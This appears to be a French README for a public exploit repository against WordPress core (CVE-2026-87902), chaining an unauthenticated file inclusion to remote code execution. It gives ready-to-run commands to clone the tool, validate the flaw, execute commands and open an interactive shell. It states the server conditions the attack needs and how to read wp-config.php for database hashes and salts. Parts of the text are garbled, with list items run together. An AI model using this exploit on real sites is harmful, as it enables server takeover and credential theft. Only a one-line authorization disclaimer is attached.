
Exploit pour exploiter la vulnérabilité CVE-2026-87902 qui se produit dans le core de WordPress
Exploit non authentifié (LFI → RCE) pour WordPress 4.7.0 – 7.1.1 · correctif : 7.1.2
git clone https://github.com/Maalfer/CVE-2026-87902-exploit.git
cd CVE-2026-87902-exploit
# 1) valider le LFI (n'écrit rien sur le serveur)
python3 exploit.py --url http://cible/ --validate-only
# 2) RCE
python3 exploit.py --url http://cible/ -c "id"
# 3) console interactive
python3 exploit.py --url http://objetivo/ -c id --shell
Les quatre doivent être remplies simultanément. Si la 3 manque, le LFI **n'**existe pas.
get_page_template(), sans validate_file(). En 7.1.2+, elle est corrigée.page_id est nécessaire pour que WordPress résolve le template (détecté automatiquement via REST).page-* dans le thème actif — obligatoire : file_exists() ne traverse pas un composant inexistant, donc le ../ ne remonte que si le premier segment existe sur le disque. Twenty Twelve (page-templates/) en dispose ; la plupart des thèmes block (Twenty Twenty-Three) non. Cela concerne aussi le thème parent.pearcmd.php lisible + register_argc_argv=On — le LFI ne fait que lire ; l'exécution utilise le polyglot config-create de PEAR. Avec register_argc_argv=Off ou sans PEAR installé, il y a LFI mais pas de RCE.Sans la 4e, le résultat est un LFI pur : il permet de lire n'importe quel .php du système, par exemple page-templates/../../../wp-config.php (hashes et sels de la BD).
Uniquement pour des systèmes vous appartenant ou avec une autorisation écrite.